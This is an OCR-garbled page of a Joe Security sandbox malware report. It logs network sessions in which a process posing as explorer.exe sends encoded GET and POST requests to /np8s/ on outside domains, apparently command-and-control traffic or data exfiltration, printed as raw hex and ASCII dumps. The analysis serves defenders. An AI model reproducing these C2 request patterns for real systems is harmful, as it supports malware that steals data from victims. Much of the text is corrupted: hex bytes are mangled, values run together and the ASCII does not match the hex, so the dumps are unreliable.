69 35 6¢ 45 49 79 77 47 76 35 4d 7a 69 33 49 49 52 47 53 34 33 7e 5a 6¢ 47 54 46 57 72 47 36 45 7a 4d 71 36 4a 63 62
53 36 6¢ 67 4d 7a 6a 41 71 34 28 4f 53 58 68 47 51 6f 7e 4b 31 43 73 55 4f 57 55 67 45 6e 6d 41 4e 63 46 51 6f 37 59 33
48 7358 58 76 64 6d 6b 55 58 4c 58 48 51 67 51 61 49 56 4d 30 5059 59 54 77 7€ 3936 73 77 697379 74 72 42 71 4a
43 4d 5a 59 6¢ 6b 54 44 4f 73 30 41 35 5a 59 69 51 6e 73 58 67 48 6b 34 47 63 36 6e 56 6d 42 31 31 52 58 63 6¢ 68 2d
34 70 6e 76 68 4d 36 64 58 4f 41 79 4e 42 46 5a 79 49 66 36 6d 52 50 77 58 61 37 71 32 74 61 5f 62 4a 5a 51 6d 32 41
65 6b 65 39 43 38 6a 32 66 61 65 42 5a 76 46 6b 74 49 70 43 39 68 62 32 74 45 57 64 66 78 6e 4b 39 76 6b 34 4b 49 6d
5a 79 70 42 30 74 5a 31 55 75 47 70 68 46 54 58 72 4d 39 47 53 42 61 70 43 57 35 58 65 47 4c 4d 35 6f 38 2d 41 31 30
61 43 61 67 57 50 70 59 7a 50 78 66 50 33 6a 39 52 45 50 28 62 28 48 63 72 76 41 49 5a 41 50 4c 52 52 43 6a 61 61 79
76 43 61 58 77 64 38 31 62 56 68 4a 5a 69 77 5f 78 52 64 70 6a 6e 32 57 35 68 4b 2d 56 74 4b 54 6e 73 7a 4d 70 43 43
56 71 33 7a4c 74 79 64 38 41 30 43 4b 6a 31 4c 68 28 6f 68 68 6e 56 49 75 4e 76 6f 45 4f 52 67 72 75 76 50 64 33 63 47
39 66 55 4a 4e 41 56 52 78 4e 76 68 6a 6b 6b 6¢ 35 63 79 46 35 4e 36 57 33 67 7568 57 77 6¢ 79 43 7a 71 54 76 53 74
4b 54 41 43 4e 43 52 6¢ 5a 6d 6¢ 78 34 48 72 57 75 53 4e 5f 44 30 7a 4d 6d 56 39 45 4c 4f 53 42 6f 45 28 6e 64 4e 31 39
44 34 56 4e 30 4c 4d 4d 59 61 4c 72 45 46 48 6e 42 50 50 6a 66 37 6¢ 59 6¢ 30 30 30 4c¢ 55 75 5f 52 79 66 52 4a 33 4b
713045 63 76 41 6e 48 68 43 5a 4d 31 36 62 55 59 4a 37 39 38 6¢ 45 39 79 58 77 5a 4d 75 70 72 72 51 58 6d 4d 6d 45
46 4b 6a 44 30 6e 67 62 73 69 78 74 75 41 39 39 76 4b 6a 59 49 57 70 67 31 6¢ 71 68 6b 65 52 68 34 41 6f 58 33 57 63
30 7a 71 35 44 5a 66 79 68 5a 41 6e 4c 46 5f 61 50 68 78 37 37 56 4c 67 61 50 69 4b 30 51 57 67 34 6a 49 78 79 6d 35 3
966 73717879 28 46 4e 72 56 4c 43 49 58 43 4¢c 2d 58 77 42 74 70 68 4e 31 45 74 32 2d 34 35 75 5a 73 57 47 30 4e
42 67 62 30 70 64 76 49 6f 30 4f 7a 49 6d 5f 62 68 6¢ 55 76 57 75 4f 69 5f 73 48 73 4e 48 39 64 7a 67 67 52 54 78 58 36
337631487153 7456 4c 6756 4b 56 54 4179 77 49 41 52 4e 69 59 28 44 43 74 75 76 34 38 38 55 55 30 4a 45 76 72
45 30 4f 35 54 59 6e 78 78 4c 31 78 6f 57 6f 6e 55 54 31 36 65 7a 44 4f 56 5f 73 4d 4e 37 39 49 62 4a 75 48 50 44 61 57
59 33 68 67 6b 38 6¢ 5a 39 4c 37 4b 4c 39 66 4b 76 53 35 48 44 2d 68 70 75 79 4c 65 55 6a 39 2d 58 63 63 64 44 4e 53
55 76 49 30 4f 5a 49 32 6d 28 61 5a 38 31 6f 63 6e 4b 4f 63 32 36 4b 5a 6f 69 71 63 5a 69 6f 48 65 53 6a 5a 42 57 6a 37
64 6d 4b 6b 79 4e 37 6e 50 4f 32 48 63 53 31 74 76 49 78 6a 43 34 5a 54 4d 4b 76 4e 32 76 2d 6¢ 4e 57 33 7e 59 47 4b
4c 54 58 71 58 58 43 61 34 32 6f 53 61 69 61 30 72 42 33 61 4e 38 47 6d 73 53 58 57 77 79 30 42 33 6a

Data Ascii: 3ftk4oN=7rdX~KhFAsFFPsOn6WH93EyQL0h9901z0X4Eqbn7Hq2xTI5jfpfomiFFztidZRsq0Zv-pkcBzgOb(E3mX
X9gscpXyM~80m~brO7L9ecb2e9yEfCao943H1xbB3yQBscpvk25WkKkbnRPjeMN2AFmMYuvplu3rovPWM2xKQGzIqQd
PyIMVY3zTYSp_elTSdFeNrXiQI3E2hgIMIO5vI7ErV7RuLAPfCHe9bslca-ySHgYO0I4LL32R_v8jTzge5xTGMR1J2E
yR8e2pqlelldWgLnOCSo6viMYjCIMsf3IpT7weeR2VtA6km1S28DA4ptZalxZ4BpMx5q7vic3bwsvHNIctoeFwiFI5
ULNQH7eGj85wDL7MZWdsHFDINAKjoaZbjxO3-ig7ZmrkTaW(TWR4t5m89N-2TtsC4yhAi5IElywGv5Mzi3lIRGS43~
ZIGTFWrG6EzMg6JcbS6lgMzjAq4(OSXhGQo~K1CsUOWUgENMANCFQO07Y3HsXXvdmkUXLXHQgQalVMOPY
YTw~96swisytrBqJCMZYIkTDOsS0A5ZYiQnsXgHk4GebnVmB11RXclh-4pnvhM6dXOAYNBFZylf6mRPwXa7q2ta_bJZ
Qm2Aeke9C8j2faeBZvFktlpCOhb2tEWdfxnK9vk4KImZypB0tZ1UuGphFTXrM9GSBapCW5XeGLM508-A10aCagWPpY
zPxfP3j9REP(b(HcrvAIZAPLRRCjaayvCaXwd81bVhJZiw_xRdpjn2W5hK-VtKTnszMpCCVq3zLtyd8AOCK|1Lh(oh
hnVIuNvoEORgruvPd3cG9fUINAVRXNVhjkkl5cyF5N6W3guhWwlyCzgTvStKTACNCRIZmIX4HrWuSN_D0zMmV9ELOS
BoE(ndN19D4VNOLMMYaLrEFHNBPPjf7IYI000LUu_RyfRI3KqOEcvANHhCZM16bUYJ798IE9yXwZMuprrQXmMmEFK]
DOngbsixtuA99vK|YIWpg1llghkeRh4AoX3Wc0zq5DZfyhZAnLF_aPhx77VLgaPiKOQWg4jlxym59fsgxy(FNrVLCIXCL-
XwBtphN1Et2-45uZsWGONBgbOpdvio00zIm_bhlUvWuOi_sHsNH9dzggRTxX63v1HgStVLgVKVTAYywIARNIY(DC
tuv488UUOJEVIEOOSTYnxxL1xoWonUT16ezDOV_sMN79lbJuHPDaWY3hgk8IZ9L7KLIfKvS5HD-hpuyLeUj9-XccdD
NSUvI0OOZI2m(az81locnKOc26KZoigcZioHeSjZBWj7dmKkyN7nPO2HcS1tvIxjC4ZTMKVN2v-INW3~YGKLTXgXXCa4
20Saia0rB3aN8GmsSXWwy0B3jQTXHUTTYEX8x007dqvd_3DtKz6RNrUuSo8sbi003ajLVEQJSrV6076303zUU7po79
LjM4VWDIX30EYWPIx~wa4hkBpF9riBLeZkAEGJ_QpUKJINsoW1FfZ3IkNILjSNmsN-a8x2JUIGVk6ZCqWjV9lrcarWi
UljssKlolm69cPd236d0xZv6iUZIVQONBT4mMIRCQIJKHLbyr3yBziurRY8TEOMdNOydh5eWGBI7BWbWJIL4bxhaYM
MWM~N3YEqtNF8xyM4qsK0y6T3SfL-ARCqKZHBLGIzjPOFrc4auhINn3luL9(emRZCKJIMvjMO1PjJAoPkvQc3jNDsai
die5Zshjl1-MxHtuUVT~fVtqLVpp2X8VRu13Z87HmdG7pHq09pt6F4qDwlLk4vzymNa3wFXLOgMWdmXzRWqOmzrSDu
z8bmY6eNV4mRo(qQWGEDL7CgSXZ-4TX|LC~3(p2ZHArag_zWwP(ZN5ytxBF-DWcz29cW1YRSaDwWIKClgs1pBX1Y60Hq
VipICXGclsvCb9tN1baHIVFq_(xPShthBkuFVJ-WEFYtxPrqgKLhGsHxKrCSQs~NLbbs(rGLMCnyWs(8~JoEzgt7xcT
rg5dbAEXgBSzXhc7gmDHgCngjhYqJbSY 1wal4(QbtppUC2aSbDLXWzVA3V25n4VvSIRIKWKTUuwOggeRYtERRIGMVI
R~ZHt1aDxRjRYxScFTgllpZoCi7xp2kKNSICalYNB4icU0O7hsw5~OCKkR7jWQ8YiwqrllgqWcGE1xOMzU1m99JOEJUNG
fXcz-Fev5qSGesF40XoR0TUG0TEINIKz05MynbkGtm1J29M8-co4c30100nQseVbzIzfCzMZiXI70DgD16AWECtfsr
M5jzRgbONAgviVgZIhV8eE8etyMS5F6Wz8YrPKY 15IBfbLVreOAPHRtRUopZKX46KiORCCEdxnKzfsW2gngZct70OD
2i6cvgO~gMz077HKtok8k9zj2FwnvQ28WZ70ULKDkb2CYtxBmr8LhHGj1Rxt7tcT-RkgT8eXRmgquOigKZxhMHTbkD
XONWY lyeZM1tD90Zuu8wGQSXcz2zgFvllzXFzUMw_HJvpegOkwY3mj5F4tHLezQUONMZh1p~7BYzYOmFZIKVWie(cu
yAW49ZxPIC78bV3PFOwsI9eap86J97WJIk~8VdzW[Z8g(k8_PKqCPF2EkkstzZAJsLeos_V440HsOy4ADMGF3djGGVTS
H2MyFSC9qFPHE2iiG3nvMt6Lw1sKPDn~DdrVR2CifyMuJi4nA7JYivbEMalCKGNLQPWNoxdgp62dFNo4cBRSfnsE6V
zoxkgl8rusOwdXRaaVFCOwy6YBjQbG-A_0DeZ3EArip42N9(c(7LzAh35(sU8eNu3XleINYo_nsvjaCb51dUTvBFkM
dUCKKGsRynnBIpyt7sq(nHuV2q9cpc-AaREsSKZ89RHbM-rPgX9Squ(vUcTukRi4TZ(4vX1wepuTeH8X7fEGKZp2H-W
XN6N-9VMHa-VmOVFnWcPyT0oX2fDksTr_ilevK1Dx4vwey20d7_56~q4GckE1bbtzjTNLOt6mQ4rorlYyYrtgt2gns
KSANVulnkFCbT7_vCxV1ys80eBF7CMNcmnIXBwelo7qQ7Yj8sgAp8FJ2_7WsqcVwSo-VzPyTvUa9exMIJhoMLAqoE4
hpjVgNKFBGSPEVohD(0INWEtEQ7ceNlaéeB2qfY2HYSFrBSp1FY30zI33bui20fDIgNzC(VOhQm2R8a2Gjy42timad
qUCFWXOdtXX4M(sgtgkWhf2weip9i~9IWJkjcq31qTFSq06H5b-0iAlaFAmMiUm2tsWong4jcuUkmZ4eTZ10W29_WSm
CcGkj4SHGjLcC(6cWVB92ptdKRIAPWpRUGeBqU1(20TyMYsYiNDYr8wokeAHpB-TsQV9Ir8mQZKbVRPsmKekEZd3aMB
-B6x69JQXKkGLAhTaMpnl7Ee2-vfYzAIfWR9gR44NzbP7kPTOV3-2VFMCFTnsuK19f1kW76HalL 1m9PWIO6EfvCoRHhM
T8EhLBUOLVTSKL_t9S6woR54MYR1CJA~AKNOT4EY5mR7QGGtCKVydBau4QFCWUCHNYbwQONWXW8ngcwD
L2njtbumPz9P4Gs8p~_tBBIAg73AuSHXxw_PB7-tOVbZxq90phFIp6 TVGoGsMRRjQNsgawUB_awCWIViXuEtuf4WkX
ycex1S11gWmQ8rLUPNYeEJJ7nZOFVZTobnyeZkB6GigqqqO(as0jf3LMSfykR(LJIJdcLKvLLngCVADvV3N4SfINgx0
8xuFLDAhtYtzY3nfkw62_OZHGineBFYHArSkwlsCzMugujPhAOCKY p-QLWT08c6vWZFErUanWM8XsrxqPXAxBb4oXK
iad0_O9H6Ur7UtbLCcEGRryLrQep0s79gK1Tm5mrrCx(gxHWcDPNCd9ms8jISZOftbC2YYjFZbPSXYXY5T38Gbktve
vprplROWTXUFFUgMh~FnEGPcXCaBH1pJxgVAcpnOWZxcxnu8ObhMNR-MgEAKOINWIGbKOrVTPVI9E4QBuU
8JoAypt7h6KatexqOEIpIrBuGQP9zDiruVVq_fY4KBFIwvGsBW_b5ehTRFEI-YNyyWwQwppJ5keZHcEGJAXKZI66yc
FSfZ50GIviaMiW7FnANUOKT728M42Xoh8pXOr7mblhi5a37LKP7fSRvRJssx_~WfWfjQ
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kBytes

Timestamp transferred
May 27, 2022 421
19:05:46.425322056
CEST
Session ID Source IP
21 192.168.2.6

. kBytes
WILEETD: transferred
May 27, 2022 419
19:05:46.211252928
CEST
May 27, 2022 420
19:05:46.379817963
CESI}
Session ID Source IP
22 192.168.2.6

. kBytes
Timestamp transferred

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49813

Direction

ouT

Source Port

49816

Direction

Destination IP

68.66.224.33 80

Destination IP

81.169.145.161 80

Data

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:05:46 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/

Content-Length: 257

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3¢ 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 22 3e 68 65 72 65 3c 2f 61
3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/">here</a>.</p></body></htm|>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?3fk4doN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weOtceqenlGY7vNOGaAQzxdf5zVwF
VA==&Eh=mhUx| HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:05:46 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/?3fk4oN=0pptggpOMeRyeb/9nmudohOLKqg4u2ksDw
Riw+rnfL4/weOtceqenlGY7vNOGaAQzxdf5zVwFvA==&Eh=mhUx|

Content-Length: 354

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3¢ 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
7420 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 3f 33 66 6b 34 6f 4e 3d 30
707074 67 71 70 30 4d 65 52 79 65 62 2f 39 6e 6d 75 64 6f 68 4f 4c 4b 71 34 75 32 6b 73 44 77 52 31 77 2b 72 6e 66 4c
34 2f 77 65 30 74 63 65 71 65 6e 6¢ 47 59 37 76 4e 4f 47 61 41 51 7a 78 64 66 35 7a 56 77 46 76 41 3d 3d 26 61 6d 70
3b 45 68 3d 6d 68 55 78 6¢ 22 3e 68 65 72 65 3c 2f 61 3e 2e 3¢ 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3¢ 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/?3fk4oN=0pptggpOMeRyeb/9nmudohOLKg4u2ksDwR1w+rnfL4/weltceqenlGY7vNO
GaAQzxdf5zVwFvA==&amp;Eh=mhUx|">here</a>.</p></body></html>

Destination Port Process

C:\Windows\explorer.exe

Data
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kBytes

Timestamp e Direction
May 27, 2022 423 ouT
19:05:51.437309027
CEST
May 27, 2022 424 IN
19:05:51.458682060
CESIl
Session ID Source IP Source Port
23 192.168.2.6 49817

. kBytes . .
Tim m Direction

estamp transferred ECto

May 27, 2022 437 ouT
19:05:51.466262102
CEST

Copyright Joe Security LLC 2022

81.169.145.161 80

Data

POST /np8s/ HTTP/1.1

Host: www.xn--wsthof-camping-gsb.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.xn--wsthof-camping-gsb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.xn--wsthof-camping-gsb.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 36 50 59 59 32 35 41 38 67 69 31 56 50 41 78 37 71 38 71 74 49 58 58 64 72 4f 73 39 35
5068 32 58 64 62 7a 44 72 76 2d 6e 75 58 48 7e 68 55 51 4c 59 6e 6d 54 67 36 6a 69 38 74 4f 6f 6f 35 75 36 46 70 62 6b
6c 38 74 7a 47 62 35 61 4b 77 58 66 74 70 39 57 6e 30 4f 49 70 33 48 47 4c 79 76 69 73 4e 6a 56 33 57 41 74 55 6f 38
66 4e 3172 75 6d 7154 32 76 71 78 49 6b 79 6e 28 71 4d 38 72 77 77 44 6f 4c 73 4a 67 4d 33 3237 79 73 45 45 41 36
69 57 4c 6e 4b 55 78 65 75 6¢ 65 6b 71 43 4b 51 76 59 30 4b 74 5a 56 4a 74 58 4e 57 42 50 7a 46 76 76 4b 38 69 51 48
6163 76 79 6e 32 41 37 41 70 52 6d 7e 56 72 49 4c 33 32 71 46 44 6e 57 6b 77 31 51 59 74 42 5f 68 4d 78 33 4b 74 7e
6e 36 52 46 4c 74 57 68 31 53 37 36 2d 39 51 75 7a 62 70 34 34 53 5a 42 57 33 64 58 49 46 65 62 31 30 35 30 70 45 41
5a 48 66 62 38 72 71 47 51 78 70 47 49 6e 52 79 62 31 43 6f 65 31 6a 48 52 76 62 50 57 6a 51 49 71 52 6e 36 63 48 66
5f 73 6a 7e 6e 28 6b 68 66 33 6¢ 79 4e 28 51 4b 46 62 4f 4c 7a 73 5a 4c 4e 4b 4d 58 75 52 36 74 31 7e 34 54 6¢ 57 57
6¢ 6b 73 78 67 73 6b 4a 78 72 34 48 75 72 6f 78 44 41 37 62 74 41 37 59 6a 48 73 4d 4a 48 79 4d 64 49 44 77 68 78 4e
39 75 6f 43 34 35 78 4b 35 54 5a 41 62 4e 75 30 4e 4b 39 46 4d 4a 6b 51 74 45 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=6PYY25A8gi1VPAX7q8qtIXXdrOs95Ph2XdbzDrv-nuXH~hUQLYnmTg6ji8tOoo5u6Fpbki8tzGh5aKwXf
tpOWn0OIp3HGLYyvVisNjV3WAtUo8fN1rumgT2vagxlkyn(gM8rwwDolLsJgM327ysEEAGIWLNKUxeulekqgCKQVYOKtZVJ
tXNWBPzFvvK8iQHacvyn2A7ApRm~VrIL32qFDnWkw1QYtB_hMx3Kt~n6RFLtWh1S76-9Quzbp44SZBW3dXIFeb1050
pPEAZHfb8rqGQxpGInRyb1CoeljHRvbPW|QIgRn6cHf_sj~n(khf3lyN(QKFbOLzsZLNKMXuR6t1~4TIWWIksxgskIx
r4HuroxDA7btA7YjHsMJIHyMdIDWhxN9uoC45xK5TZAbNUONKOFMJIKQLE.

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 17:05:51 GMT

Server: Apache/2.4.53 (Unix)

Content-Length: 196

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html|>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.xn--wsthof-camping-gsb.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.xn--wsthof-camping-gsb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.xn--wsthof-camping-gsb.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 36 50 59 59 32 38 34 32 6¢ 54 59 4a 46 77 4e 59 74 4f 61 35 52 30 66 66 6e 65 6f 69 6e

2d 68 54 54 6f 28 4e 65 5f 6a 70 32 63 47 43 7a 78 4a 77 42 2d 33 49 54 68 4b 5a 6f 5a 46 4b 69 6f 6¢ 74 36 42 4e 35 6b

6C 347479 47 7a 70 61 73 68 4d 62 34 31 79 51 48 31 31 5a 5a 32 5a 43 4b 76 39 69 73 59 32 56 33 65 51 74 45 38 38

65 76 64 72 6f 6e 72 66 34 76 72 34 41 45 43 37 37 71 51 68 72 7a 41 62 6f 4f 55 4a 68 38 4c 32 36 54 63 62 54 54 69 6¢

4a 37 6e 4c 52 78 66 36 73 37 38 2d 43 4b 45 52 59 32 4f 74 5a 6d 74 74 57 63 32 42 62 51 74 73 33 4b 38 6e 55 48 61

62 7279 72 6e 41 37 63 31 52 6b 53 76 72 35 28 33 33 61 46 43 67 46 31 4e 77 48 4e 72 48 5f 46 72 78 33 50 78 7e 32

6d 7a 46 4b 41 33 32 58 62 50 7e 63 45 46 75 31 43 79 36 59 53 6e 4b 32 33 43 58 49 46 2d 62 31 30 48 30 70 30 41 5a

46 28 62 7e 4f 4f 47 53 42 70 48 55 58 52 39 44 6¢ 43 6e 61 31 76 65 52 76 53 77 57 68 52 64 71 6a 48 36 63 55 6e 5f

38 79 7e 67 33 55 68 6a 37 46 7a 4b 37 51 4c 4c 62 4f 4c 46 73 64 66 64 4a 39 48 75 58 2d 35 31 7a 36 37 6¢ 55 6d 6¢

6b 69 52 67 75 76 70 39 37 34 48 32 56 6f 77 7a 32 34 71 6¢ 41 7e 65 33 48 73 70 39 48 7a 63 64 49 59 41 67 50 4f 38

66 77 48 61 46 32 42 37 7a 76 64 35 6¢ 6b 75 38 48 78 47 70 4e 42 4b 36 59 50 67 70 30 4b 45 51 57 57 39 77 50 31 64

717577 6¢ 5a 4d 6d 56 30 49 34 28 6e 50 56 5a 4d 44 69 77 47 43 76 6d 32 6a 54 55 34 73 58 49 4c 66 53 67 7a 65 44

57 64 64 5f 71 6a 48 73 44 36 6b 42 36 33 61 53 35 73 53 37 4d 4e 31 48 7e 70 31 31 78 67 6d 7a 56 56 33 69 6¢ 6f 43

5f 7a 63 64 62 41 41 48 57 41 35 46 61 4a 75 59 46 31 6a 72 65 68 30 58 4e 4d 79 67 78 4b 31 77 4c 5a 66 42 53 4f 2d

6e 79 5a 76 43 56 6e 37 43 54 6f 58 38 59 78 75 71 33 67 50 63 36 70 75 55 4a 6b 46 45 52 48 53 56 6b 52 70 44 51 4a

68 59 73 66 76 4c 54 61 54 50 75 75 44 36 71 32 62 45 49 32 7a 30 6¢ 31 6b 56 57 61 39 70 73 72 65 69 61 74 6e 67 59

74 59 33 47 6b 33 4d 34 52 71 30 2d 28 32 47 47 74 79 31 50 69 35 4d 68 51 4f 76 30 6¢ 4d 57 44 56 6a 50 52 78 61 74

5a 58 34 48 72 57 4a 54 36 69 65 43 75 62 74 49 4c 4f 78 49 36 41 65 53 47 48 70 39 6d 66 49 52 49 7e 46 73 6¢ 41 75

7839 57 48 70 63 67 36 41 47 5a 6¢ 41 42 74 34 39 64 59 57 77 75 39 39 39 4d 28 6f 4f 74 38 47 71 49 6e 42 67 59 30

73 68 78 6e 54 70 4b 35 39 4a 76 39 7a 55 72 6b 64 34 46 6¢ 61 54 30 5a 4f 62 57 58 57 48 64 5a 68 59 46 57 5a 62 66

4f59 70 39 38 56 43 74 67 73 38 52 39 5a 7a 4e 4d 64 57 4e 6d 4f 32 34 33 6d 7a 69 50 6¢ 5a 78 58 67 4e 76 59 32 76

6¢ 37 6¢ 6b 79 32 4a 55 35 6b 50 79 4b 4f 41 44 6a 67 71 43 31 49 6d 7a 47 4b 2d 76 75 63 37 56 62 79 66 72 34 69 45

59 34 6e 4c 31 61 71 5a 5a 76 4c 57 67 64 45 73 32 30 32 6e 4f 73 31 49 44 48 79 4a 68 34 6¢ 56 75 6¢ 39 78 52 4f 78
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Timestamp LEpee Direction
transferred

May 27, 2022 462 IN

19:05:51.504976988

CEST

Session ID Source IP Source Port

24 192.168.2.6 49818

Timestamp e Direction
transferred

May 27, 2022 461 ouT

19:05:51.490772963

CEST

Copyright Joe Security LLC 2022

81.169.145.161 80

4b 66 68 36 37 32 70 44 336949 7a 43 67 51 5242 4b 67 78 57 7546 30 77 71 64 64 36 61 71 57 41 66 43 55 6d 4b 75
Pfafy 6f 47 4e 76 5a 78 63 4c 31 53 4e 64 31 72 63 6a 47 5f 4d 64 62 5a 54 74 56 4c 38 49 36 3149523379 7577 77
4d 65 52 77 47 70 4a 56 61 54 74 30 65 4b 77 28 33 54 63 51 6a 57 32 47 75 41 37 53 6f 36 6d 42 39 6a 2d 46 47 74 5a
41 48 68 56 5a 73 39 45 55 74 6e 65 45 38 31 2d 49 48 73 34 66 72 59 65 4d 72 77 4a 47 69 6f 77 70 37 57 47 6b 68 73
7179 63 7454 4f 79 6¢ 37 61 73 33 61 39 3049 45 67 4d 57 75 42 52 4c 68 41 37 72 37 49 62 71 30 4f 77 48 5f 4d 39 52
61 34 71 76 64 42 45 6a 66 49 47 57 55 73 54 49 65 75 5f 59 30 32 2d 62 4d 64 69 63 63 61 32 48 5a 77 33 44 39 53 70
3864 36 63 74 4d 36 73 51 54 77 30 33 63 28 65 56 38 4d 38 76 47 61 71 74 50 46 78 79 4b 5a 46 7e 2d 62 50 54 61 28
7044 3554 78 76 6¢ 59 6f 62 77 6b 72 28 39 54 56 49 6d 55 4a 50 6b 74 69 65 62 4a 30 70 30 6¢ 51 66 71 6d 55 6e 56
555a49 72 38 61 32 67 64 64 39 37 67 58 44 52 44 4e 76 4b 77 45 6¢ 33 6a 46 6a 62 66 2d 47 38 48 47 4f 37 34 78 6d
55 28 5a 4f 6e 6b 57 6¢ 53 47 6a 39 52 48 43 4e 75 70 50 7a 4e 30 5a 68 41 28 4c 36 72 6d 74 6a 71 33 4e 64 34 41 4f
76 4e 30 61 4a 6a 61 68 7a 49 41 6f 57 4e 32 4d 77 53 44 69 28 37 6b 4c 44 39 33 54 55 59 54 78 54 2d 33 52 6f 5a 37
62 6d 50 30 37 48 30 63 45 49 58 49 53 52 2d 70 48 79 43 31 48 75 61 4d 65 6d 56 41 75 68 56 71 4d 36 68 64 53

Data Ascii: 3fk4oN=6PYY2842ITYJFwNYtOa5R0ffneoin-hTTo(Ne_jp2cGCzxIwB-3IThKZoZFKiolt6BN5kl4tyGzpashMb
41yQH117727CKv9isY2V3eQtE88evdronrf4vr4dAEC77qQhrzAboOUJh8L26 TchTTilJ7nLRxf6s78-CKERY20tZmt
tWc2BbQts3K8nUHabrymA7c1RkSvr5(33aFCgF1INWHNrH_Frx3Px~2mzFKA32XbP~cEFulCy6YSnK23CXIF-b10HO
